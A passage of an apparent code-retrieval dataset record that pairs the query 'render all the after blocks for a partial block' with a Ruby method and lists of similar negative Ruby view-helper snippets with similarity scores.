"def page_preprocess(page, context={})\n \n app = context[:app]\n \n result = {}\n\n #p \"BLOCKS-START\"\n #\n # Retrieve the theme blocks which are positionated in the page\n # \n # [NOTE 2019.01.22] Admin area new design does not use blocks\n #\n unless app.request.path_info.starts_with?('/admin')\n blocks = ContentManagerSystem::Block.all(\n :region => Themes::ThemeManager.instance.selected_theme.regions, \n :theme => Themes::ThemeManager.instance.selected_theme.name)\n \n blocks.each do |block|\n \n key = block.region.to_sym\n\n if not result.has_key?(key)\n result.store(key, []) \n end\n\n if block.can_be_shown?(app.user, app.request.path_info, page.type) \n\n block_render = CMSRenders::BlockRender.new(block, app).render || ''\n \n if String.method_defined?(:force_encoding)\n block_render.force_encoding('utf-8')\n end\n\n result[key].push(UI::PageComponent.new({:component => block, \n :weight => block.weight, \n :render => block_render })) \n end\n\n end\n end\n #p \"BLOCKS-END\" \n \n return result\n \n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_partial(event)\r\n render_partial_with_logging(event) unless render_without_logging\r\n end",
"def before(*hooks, &block)\n before_hooks.unshift block if block\n hooks.each { |h| before_hooks.unshift h }\n end",
"def before(name, options={}, &block)\n self.add_block_container_to_list(\"before_#{name.to_s}\", options, &block)\n nil\n end",
"def partial_in(controller, partial_name, *args)\n partial_name = PARTIAL_PREFIX + partial_name.to_s\n begin\n controller.render_partial(partial_name, *args)\n rescue\n Ramaze::Log.error(\"Error loading partial #{controller.to_s}.#{partial_name}\")\n raise $!\n end\n end",
"def render_wizard_partial(main_wizard_model, f)\n @page = main_wizard_model.page || 0\n path = @controller.class.controller_path\n\n template = \"\"\n (0...@page).each { |i|\n fname = \"#{path}/sub_pages/#{main_wizard_model.get_page_template(i)}_hidden\"\n template << \"<%= yield :included_wizard_page_#{i+1} %>\"\n content_for \"included_wizard_page_#{i+1}\" do\n render :partial=>fname, :locals=>{:main_form=>f} rescue \"\"\n end\n }\n\n template << \"<%= yield :included_wizard_page_#{@page+1} %>\"\n content_for \"included_wizard_page_#{@page+1}\" do\n render :partial=>wizard_page_template(main_wizard_model), :locals=>{:main_form=>f}\n end\n\n render :inline=>template\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def render_partial(event)\n render_partial_with_logging(event) unless render_without_logging\n end",
"def prepend_body\n render partial: 'shared/ajax_modal'\n end",
"def partial; end",
"def partial; end",
"def partial; end",
"def partial; end",
"def before(&block)\n handle(0, &block)\n end",
"def preprocess(&block); end",
"def before(type=:each, &block)\n raise ArgumentError, \"invalid before-type #{type}\" unless [:each, :all].include?(type)\n type_method = \"before_#{type}\"\n remove_method(type_method) rescue nil #if method_defined?(type_method)\n define_method(type_method, &block)\n end",
"def on_partial(name, indentation)\n \"@output_buffer.concat(render(:partial => #{name.inspect}));\\n\"\n end",
"def before_include_or_extend( *contexts, & block )\n\n return frame_definer.before_include_or_extend( *contexts, & block )\n\n end",
"def before_include_or_extend( & block )\n \n add_hook_context( :before_include )\n add_hook_context( :before_extend )\n action( & block ) if block_given?\n \n return self\n \n end",
"def before_proc(&block)\n @before_proc = block\n end",
"def partial(page, locals={})\n haml page, {:layout => false}, locals\n end",
"def before_rendering( state=nil )\n\t\t# Nothing to do\n\t\treturn nil\n\tend",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def before(&block)\n rules.add('@document:before', Sawtooth::Rules::CallRule.new(:start => block)) if block_given?\n end",
"def before_run(&block)\n @before_run_block = block\n end",
"def pre(&a_proc)\n @@pre_block = a_proc\n end",
"def before(*args, &block)\n add_filter :before, &(args.empty? ? block : construct_filter(*args, &block))\n end",
"def kopal_layout_before_page_header\n\n end",
"def before(event, &block)\n triggers[:before][event] << block\n self\n end",
"def before(*actions, &block)\n before_action = Moonrope::BeforeAction.new(@controller)\n before_action.block = block\n before_action.actions = actions\n @controller.befores << before_action\n before_action\n end",
"def before(complete = T.unsafe(nil), index = T.unsafe(nil), &block); end",
"def before_include( *contexts, & block )\n \n add_execution_context( *contexts )\n add_hook_context( :before_include )\n action( & block ) if block_given?\n \n return self\n \n end",
"def partial?; end",
"def partials(collection)\n partial(collection) if collection\n end",
"def before(&block)\n if !block_given? || block.arity != 1\n raise InvalidBlockSpecification, \"before proc should have an arity of 1 (Array: values)\"\n end \n @options[:before] = block\n end",
"def render_element_head element\n render :partial => \"elements/partials/element_head\", :locals => {:element_head => element}\n end",
"def before_render(component_name, props, prerender_options); \"\"; end",
"def kopal_layout_before_page_sidebar\n\n end",
"def prepend(&block)\n prepare([], routes, &block)\n end",
"def render_plain_styleblock(name)\n @block_html.gsub('$modifier_class', '').gsub(' class=\"\"', '').prepend('<div class=\"styleguide-styleblock\">') << '</div>'\n end",
"def render_dashboard_partials\n for file in dashboard_partials\n \trender(:file => file)\n \tend\n end",
"def after_render(&block)\n @after_render_block = block\n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def render_question_entities\n article = find_entity # article with questionnaire\n @question_entities = article.questionnaires\n base_div_id = params[:base_div_id] # id of div to add \n render :update do |page| \n page.replace_html base_div_id, \n :partial => \"article_threads/question_entities\"\n end\n end",
"def prepare_render\n @content = '## Página no encontrada'\n event = Event.find(params[:event_id])\n if (event)\n pages = event.pages.select{ |page| page.path == params[:page_path]}\n unless(pages.empty?)\n @content = MarkdownEventParser.add_event_details(event, pages[0].content)\n end\n end\n @content = MARKDOWN.render(@content)\n render\n end",
"def before\n poller.before_request { |stats| yield(stats) }\n end",
"def render_extra_partials(f)\n @extension_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:form => f}\n end\n end",
"def before_start(&block)\n @before_start_hooks << block\n end",
"def each\n yield render\n end",
"def before_suite(&block)\n @before_suite_blocks << block\n end",
"def before_report &block\n (@before_handlers ||= []) << block\n end",
"def include_guard_begin(&block)\n lang_eval { @include_guard_begin_block = block }\n nil\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def after_partial_setup(view)\n end",
"def with_raw_haml_concat\n yield\n end",
"def block_render(_partial_name, _partial_locals={})\n render(:layout => _partial_name, :locals => _partial_locals) do\n yield\n end\n end",
"def filter_partial\n # Aufgrund Controller ermitteln...\n controller.class.ancestors.grep(Class).each do |klass|\n basepath = klass.to_s.gsub(/Controller/, '').underscore\n nr_of_levels = basepath.scan(/\\//).size + 1\n partial_path = basepath\n nr_of_levels.times do |i|\n partial_name = \"filter\"\n return \"#{partial_path}/#{partial_name}\" if path_exists?(\"app/views/#{partial_path}/_#{partial_name}.html.*\")\n partial_name = \"navigation_#{partial_path.gsub(/\\//, \"_\")}\"\n return \"shared/#{partial_name}\" if path_exists?(\"app/views/shared/_#{partial_name}.html.*\")\n index = partial_path.rindex(/\\//)\n a = partial_path.split('/')\n a.pop\n partial_path = \"\"\n not_first = false\n a.each do |s|\n if not_first\n partial_path += \"/\"\n end\n partial_path += s\n end\n end\n end\n nil\n end",
"def pre_execute(&block)\n @hooks[:pre_execute] = block\n end",
"def block_html(raw)\n raw = unindent(raw)\n\n if md = raw.match(/\\<(.+?)\\>(.*)\\<(\\/.+?)\\>/m)\n open_tag, content, close_tag = md.captures\n \"<#{open_tag}>\\n#{recursive_render(unindent(content))}<#{close_tag}>\"\n else\n raw\n end\n end",
"def prepended(base = nil, &block)\n if base.nil?\n if instance_variable_defined?(:@_prepended_block)\n if @_prepended_block.source_location != block.source_location\n raise MultiplePrependBlocks\n end\n else\n @_prepended_block = block\n end\n else\n super\n end\n end",
"def before_filter(&block)\n @before_filter = block\n end",
"def render_raw_menus_partial\n # No-op\n end",
"def render_with_liquid?; end",
"def render_with_liquid?; end",
"def render_partial(p,local_assigns={})\n# ActionView::TestCase::Behavior#, which invokes ActionView::Rendering#:\n if local_assigns.blank? # Work around bugs:\n render :partial => p\n else\n render p, local_assigns\n end\n @partial=p.clone.insert p.index(?/)+1, '_'\n end",
"def before(identifier, &block)\n Chef::Sugar::Filters::Injector.new(self, identifier, :before).evaluate(&block)\n end",
"def fetch_or_cache_partial(cached_partials, template, order_by:); end",
"def reqindex\n\t\tif params[:req]\n\t\t\t@blocks = Block.tagged_with(params[:req])\n\t\telse\n\t\t\t@blocks = Block.all\n\t\tend\n\tend",
"def content\n @blocks.map {|b| b.render } * EOL\n end",
"def render(page)\n rails_render(partial: page.tr(\"-\", \"_\"), layout: false) ||\n rails_render(action: page.tr(\"-\", \"_\"), layout: false) ||\n super.html_safe\n end",
"def before(*args, &block)\n if block_given?\n Thread.current[:before_hook] = block\n else\n Thread.current[:before_hook].call(*args) if Thread.current[:before_hook]\n end\n end",
"def before(observation, &block)\n build_methods(:before, observation, &block)\n end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def before(**mapping)\n render(STANDARD, BEFORE_DATE, **mapping)\n end",
"def render_list(&block)\n view.capture_haml do\n view.haml_tag :ul, class: \"breadcrumb\" do\n yield\n end\n end\n end"
] |
[
"0.6681968",
"0.6681968",
"0.6535729",
"0.628239",
"0.6227567",
"0.6167728",
"0.6129468",
"0.6096138",
"0.6042019",
"0.6012528",
"0.5984095",
"0.5890831",
"0.5873981",
"0.584487",
"0.5820287",
"0.57442856",
"0.5726144",
"0.56941485",
"0.56887496",
"0.5676654",
"0.56675607",
"0.5655581",
"0.5630176",
"0.55843186",
"0.55843186",
"0.5571083",
"0.55666363",
"0.55434597",
"0.55388695",
"0.5523834",
"0.54908586",
"0.5489821",
"0.54851186",
"0.54472303",
"0.54472303",
"0.54472303",
"0.54472303",
"0.5445651",
"0.5429984",
"0.54287916",
"0.54132247",
"0.5411406",
"0.540223",
"0.5398803",
"0.53951615",
"0.53772247",
"0.5353728",
"0.53412324",
"0.5315487",
"0.5285239",
"0.5277888",
"0.526029",
"0.5259336",
"0.525929",
"0.5240229",
"0.523585",
"0.5232894",
"0.5230046",
"0.5228837",
"0.52276355",
"0.52203566",
"0.52000725",
"0.51948863",
"0.5188327",
"0.518277",
"0.5176295",
"0.51573694",
"0.5151215",
"0.5149046",
"0.51411635",
"0.5138496",
"0.5131455",
"0.5131454",
"0.5127384",
"0.51258063",
"0.51235306",
"0.5121419",
"0.51196027",
"0.51170343",
"0.5114378",
"0.51140213",
"0.50980914",
"0.50964415",
"0.50873125",
"0.5081783",
"0.5081336",
"0.50699276",
"0.5067205",
"0.5067205",
"0.5065988",
"0.5062877",
"0.5061546",
"0.5053304",
"0.5047768",
"0.5047748",
"0.5039372",
"0.50346065",
"0.5033313",
"0.5025498",
"0.50230366"
] |
0.7268148
|
0
|
Render all the after blocks for a partial block
|
def render_after_blocks(name_or_container, *args)
render_before_or_after_blocks(name_or_container, "after", *args)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_render(&block)\n @after_render_block = block\n end",
"def after(&block)\n @blocks << block\n end",
"def after_each(&block)\n @after_each_blocks << block\n end",
"def after(&block)\n @after << block\n end",
"def after_block_boundary?; end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def after(&block)\n define_before_or_after_method_with_block(:after, &block)\n end",
"def apply_template_after?; end",
"def post_block\n end",
"def post_block\n end",
"def footer_partial\n render :partial => \"footer\"\n end",
"def kopal_layout_after_page_footer\n \n end",
"def after(&block)\n if block_given?\n @temp_block = block\n end\n self\n end",
"def render_partial(context, options, &block); end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each { |block| block.call(@pages) }\n end",
"def footer_content\n yield if block_given?\n end",
"def add_footer_widgets\n view_context.render \"shared/widgets\", :context => 'mainlist', :position => 'footer'\n end",
"def after(name, options={}, &block)\n self.add_block_container_to_list(\"after_#{name.to_s}\", options, &block)\n nil\n end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each {|b| b.call(@pages)}\n end",
"def coolio_after(scope = :each, &block)\n raise ArgumentError, \"coolio_after only supports :each scope\" unless :each == scope\n evented_spec_hooks_for(:coolio_after).unshift block\n end",
"def render_footer\n render :partial => 'shared/footer'\n end",
"def foot\n content_for(:foot) do\n yield.html_safe\n end\n end",
"def footer\n render :partial => 'layouts/footer'\n end",
"def after(&block)\n handle(1, &block)\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def content\n @blocks.map {|b| b.render } * EOL\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def close_block\n push_silent \"end\"\n @template_tabs -= 1\n end",
"def after(type=:each, &block)\n raise ArgumentError, \"invalid after-type #{type}\" unless [:each, :all].include?(type)\n type_method = \"after_#{type}\"\n remove_method(type_method) rescue nil #if method_defined?(:teardown)\n define_method(type_method, &block)\n end",
"def after_bundle(&block)\n @after_bundle_callbacks << block\n end",
"def after(&block)\n rules.add('@document:after', Sawtooth::Rules::CallRule.new(:finish => block)) if block_given?\n end",
"def after_load(&block)\n @_after_load ||= []\n @_after_load << block if block_given?\n @_after_load\n end",
"def view_layouts_base_body_bottom(context={})\n html = \"\"\n html << stylesheet_link_tag('htmlmacro.css', :plugin => 'redmine_html_macro')\n html << javascript_include_tag('markdown-it.min.js', :plugin => 'redmine_html_macro')\n # html << stylesheet_link_tag('/redmine/plugin_assets/redmine_html_macro/stylesheets/htmlmacro.css')\n # html << javascript_include_tag('/redmine/plugin_assets/redmine_html_macro/javascripts/markdown-it.min.js')\n html << stylesheet_link_tag(Setting.plugin_redmine_html_macro['css_url'])\n html << javascript_include_tag(Setting.plugin_redmine_html_macro['js_url'])\n # html\n # html << javascript_tag(\"mermaid.initialize({startOnLoad:true});var mermaidInitialized = 1;\")\n return html\n end",
"def render_partial(*ignore_args); end",
"def after_configure(&block)\n @after_configure_blocks ||= []\n @after_configure_blocks << block\n end",
"def kopal_layout_before_body_close\n\n end",
"def after_container\r\n\t\t\t''\r\n\t\tend",
"def modal_footer_js(&block)\n if params[:via] == 'ajax'\n block.call\n else\n content_for :footer_js, &block\n ''\n end\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def after_partial_setup(view)\n end",
"def after_include( *contexts, & block )\n\n return frame_definer.after_include( *contexts, & block )\n\n end",
"def after_rendering( state=nil )\n\t\t# Nothing to do\n\t\treturn nil\n\tend",
"def after_include_or_extend( & block )\n\n add_hook_context( :after_include )\n add_hook_context( :after_extend )\n action( & block ) if block_given?\n \n return self\n\n end",
"def kopal_layout_after_body_start\n\n end",
"def render_dashboard_partials\n for file in dashboard_partials\n \trender(:file => file)\n \tend\n end",
"def footer\n \n @renderer.footer()\n \n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def after_crawl(&block)\n @after_crawl_blocks << block\n self\n end",
"def after_crawl(&block)\n @after_crawl_blocks << block\n self\n end",
"def kopal_layout_after_page_sidebar\n\n end",
"def after(controller)\n filter = Footnotes::Filter.new(controller)\n filter.add_footnotes!\n filter.close!(controller)\n end",
"def process_complex_block_opener(tk); end",
"def after(&block)\n if !block_given? || block.arity != 1\n raise InvalidBlockSpecification, \"after proc should have an arity of 1 (~ActiveRecord: record)\"\n end \n @options[:after] = block\n end",
"def after_include_or_extend( *contexts, & block )\n\n return frame_definer.after_include_or_extend( *contexts, & block )\n\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def after_run(&block)\n @after_run_block = block\n end",
"def section_footer(parts=@parts)\n \n # Count the parts (hardware), calculate the board feet (solid stock), or \n # calculate the square footage (sheet goods).\n \n # TODO: Support metric and emperical units.\n \n @renderer.section_footer(parts)\n \n end",
"def after_initializers(&block)\n after_blocks << block\n end",
"def after(**mapping)\n render(STANDARD, AFTER_DATE, **mapping)\n end",
"def wrap_with_repeatable_ui\n # cocoon JS wants \"nested-fields\"\n template.content_tag(:div, class: \"nested-fields form-row\") do\n template.content_tag(:div, class: \"col\") do\n yield\n end +\n template.content_tag(:div, class: \"col-auto\") do\n remove_link\n end\n end\n end",
"def draw_footer; end",
"def on_partial(name, indentation)\n \"@output_buffer.concat(render(:partial => #{name.inspect}));\\n\"\n end",
"def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end",
"def respond_with_partial_or(partial_layout: \"/layouts/_panel\", &block) \n if partial_path.to_s.strip.present?\n respond_with_partial(layout_path: partial_layout)\n else\n yield\n end\n end",
"def after(*args, &block)\n add_filter :after, &(args.empty? ? block : construct_filter(*args, &block))\n end",
"def view_layouts_base_body_bottom(context = {})\n output = ''\n\n @controller = context[:controller]\n return output if !@controller\n return output if @@supported_controllers.include?(@controller.class.name) == false\n\n # all controller call \"issues_context_menu_path\" must be in @@supported_controllers\n output << @controller.send(:render_to_string, {:partial => 'timesheet/add_in_timesheet_popup.html.erb'})\n\n return output\n rescue Exception => exc\n puts exc\n puts exc.backtrace\n return ''\n end",
"def footer(opts = {}, &block)\n build_main_component :footer, opts, &block\n end",
"def render_wizard_partial(main_wizard_model, f)\n @page = main_wizard_model.page || 0\n path = @controller.class.controller_path\n\n template = \"\"\n (0...@page).each { |i|\n fname = \"#{path}/sub_pages/#{main_wizard_model.get_page_template(i)}_hidden\"\n template << \"<%= yield :included_wizard_page_#{i+1} %>\"\n content_for \"included_wizard_page_#{i+1}\" do\n render :partial=>fname, :locals=>{:main_form=>f} rescue \"\"\n end\n }\n\n template << \"<%= yield :included_wizard_page_#{@page+1} %>\"\n content_for \"included_wizard_page_#{@page+1}\" do\n render :partial=>wizard_page_template(main_wizard_model), :locals=>{:main_form=>f}\n end\n\n render :inline=>template\n end",
"def footer(args = {}, &block)\n build_base_component :footer, args, &block\n end",
"def to_prepare_blocks; end",
"def after_extend( *contexts, & block )\n\n return frame_definer.after_extend( *contexts, & block )\n\n end",
"def after(*args, &block)\n after_callbacks.concat(args)\n after_callbacks << block if block\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render_manifestation_partial(doc, i, action_name)\n if( i%2 == 0) \n color = \"even\"\n else \n color = \"odd\"\n end\n format = document_partial_name(doc)\n begin\n render :partial=>\"catalog/_#{action_name}_partials/#{format}\", :locals=>{:mandoc=>doc, :color=>color}\n rescue ActionView::MissingTemplate\n\n render :partial=>\"catalog/_#{action_name}_partials/manifestation.html.erb\", :locals=>{:mandoc=>doc, :color=>color}\n end\n end",
"def body_content\n call_block\n end",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def after(event, &block)\n triggers[:after][event] << block\n self\n end",
"def render_at_block(data)\n data.map { |key, block| \"#{key} { #{render_block(block)} }\" }.join('')\n end",
"def render_txn_partials(order)\n @txn_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:payment => order}\n end\n end",
"def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end",
"def draw_without_clearing(&block)\n yield ActionController::Routing::RouteSet::Mapper.new(self)\n install_helpers\n end",
"def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end",
"def render_footer( notification )\n\t\ttemplate = self.load_template( FOOTER_TEMPLATE )\n\t\treturn template.result( binding() )\n\tend",
"def render_extra_partials(f)\n @extension_partials.inject(\"\") do |extras, partial|\n extras += render :partial => partial, :locals => {:form => f}\n end\n end",
"def end_view(*html_fragments)\n \"<div id=\\\"end_view\\\">#{html_fragments.join}</div>\\n\".html_safe\n end",
"def get_footer()\n \n output = erb :footer\n output += erb :admin, :views => \"#{File.dirname(__FILE__)}/views/\" if authorized?\n \n return output\n \n end",
"def after(handler = nil, *guards, &block)\n client.register_filter :after, handler, *guards, &block\n end",
"def html_block!\n @page << @html_block\n end",
"def each\n yield render\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def content_outline record\n blocks = record.content_blocks if record.parsed_content.present?\n return unless blocks\n\n content_tag :ul, class: 'content-outline' do\n # Loop through each block in the record, and generate a short piece of text describing that block.\n for block in blocks\n case block['type']\n when 'paragraph'\n text = block['data']['text']\n if block['data']['type'] == 'header'\n result = tag.strong(text)\n else\n result = block['data']['text'].truncate(200)\n end\n\n when 'list'\n result = ''\n result = \"<em>#{translate('admin.javascript.blocks.list.type.contents')}</em><br>\" if block['data']['type'] == 'contents'\n result += block['data']['items'].map { |i|\n depth = (i.is_a?(Hash) ? (i.dig('level') || 'h2')[1].to_i : 2) - 1\n text = i.is_a?(Hash) ? i['text'] : i\n \"#{'—' * depth} #{text}\".truncate(60)\n }.join('<br>')\n result = sanitize(result, tags: %w[em br])\n\n when 'layout'\n result = block['data']['items'].map { |i| \"— #{i['title']}\" }.join('<br>')\n result = sanitize(result, tags: %w[br])\n\n when 'catalog'\n result = translate(\"activerecord.models.#{block['data']['type'].singularize}.other\")\n result += \": #{translate('admin.content.items', count: block['data']['items'].length)}\"\n\n when 'textbox'\n result = ''\n result += \"<strong>#{block['data']['title']}</strong><br>\" if block['data']['title'].present?\n result += \"#{block['data']['text']&.truncate(60)}<br>\" if block['data']['text'].present?\n result += tag.span(\"[#{block['data']['action']}] → \") + tag.small(block['data']['url']) if block['data']['action'].present? && block['data']['url'].present?\n result = sanitize(result, tags: %w[strong br])\n\n when 'action'\n result = tag.span(\"[#{block['data']['action']}] → \") + tag.small(block['data']['url']) if block['data']['action'] && block['data']['url']\n\n when 'media'\n result = if block['data']['type'] == 'image'\n block['data']['items'].map { |i| \"#{tag.i(class: 'image icon')} <a href=\\\"#{i['image']['preview']}\\\" target=\\\"_blank\\\">#{i['image']['preview'].split('/').last}</a>#{\" - \\\"#{i['caption'].truncate(100)}\\\"\" if i['caption']}\" }\n elsif block['data']['type'] == 'audio'\n block['data']['items'].map { |i| \"#{tag.i(class: 'volume up icon')} <a href=\\\"#{i['audio']['preview']}\\\" target=\\\"_blank\\\">#{i['title']}</a>\" }\n elsif block['data']['type'] == 'youtube'\n tag.span('[YouTube Embed] → ') + tag.small(\"https://www.youtube.com/watch?v=#{block['data']['youtube_id']}\") if block['data']['youtube_id'] # TODO: Translate\n else\n block['data']['items'].map { |i| \"#{tag.i(class: \"#{block['data']['type']} icon\")} #{i['name']} (#{i['id']})\" }\n end\n result = result.join('<br>') if result.kind_of?(Array)\n result = sanitize(result, tags: %w[i a br], attributes: %w[href class target])\n\n when 'vimeo'\n result = block['data']['items'].map { |i| \"#{tag.i(class: 'video icon')} #{i['title']}\" }.join('<br>')\n result = sanitize(result, tags: %w[i a br])\n\n when 'whitespace'\n separators = {\n large: '==',\n medium: '—',\n small: '--',\n }\n\n result = separators[block['data']['size'].to_sym] * 3\n\n else\n concat block.inspect\n end\n\n concat content_tag :li, result, class: \"content-outline__#{block['type']} content-outline__#{block['type']}--#{block['data']['type']}\"\n end\n end\n end",
"def view_wiki_show_bottom(context= { })\n context[:controller].send(:render_to_string, {\n :partial => \"wiki/tags\",\n :locals => {:page => context[:page]}\n })\n end"
] |
[
"0.68821067",
"0.6662712",
"0.6319804",
"0.6187833",
"0.6153579",
"0.6002141",
"0.5995399",
"0.59916854",
"0.59323484",
"0.59323484",
"0.5906733",
"0.5799515",
"0.5763784",
"0.5727507",
"0.57124907",
"0.56906766",
"0.5674781",
"0.56679696",
"0.565864",
"0.56512755",
"0.5645931",
"0.5618197",
"0.56092286",
"0.5587246",
"0.5586593",
"0.5586593",
"0.55547076",
"0.5554408",
"0.5554408",
